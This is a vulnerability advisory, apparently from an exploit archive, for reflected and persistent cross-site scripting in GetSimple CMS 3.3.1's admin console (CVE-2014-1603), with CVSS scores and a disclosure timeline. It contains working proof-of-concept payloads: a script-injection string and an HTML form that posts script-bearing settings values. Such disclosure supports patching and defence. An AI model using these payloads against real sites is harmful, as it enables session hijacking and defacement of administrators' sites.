GetSimple CMS 3.3.1 Cross Site Scripting

Credit: Pedro Ribeiro
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

PoC for XSS bugs in the admin console of GetSimple CMS 3.3.1 CVE-2014-1603 by Pedro Ribeiro ( from Agile Information Security Timeline: 04/11/2013 - Found bugs, produced proof of concept. 05/11/2013 - Communicated to the developer, which acknowledged receipt. 10/01/2014 - Politely asked the developer for progress, no response. 17/01/2014 - Received CVE number from MITRE. 20/01/2014 - Communicated CVE number to the developer, no response. 29/01/2014 - Politely asked the developer for progress, no response. 12/05/2014 - Public release. ============================== Reflected XSS in plugin load page:"><script>alert(1)</script> Persistent XSS in settings page: <form name="input" action="" method="post"> <input type="text" name="user" value="&quot;&gt;&lt;script&gt;alert(1);&lt;/script&gt;"> <input type="text" name="email" value="&quot;&gt;&lt;script&gt;alert(2);&lt;/script&gt;"> <input type="text" name="name" value="&quot;&gt;&lt;script&gt;alert(3);&lt;/script&gt;"> <input type="hidden" name="submitted" value="Save Settings"> <input type="submit" value="Submit"> </form>

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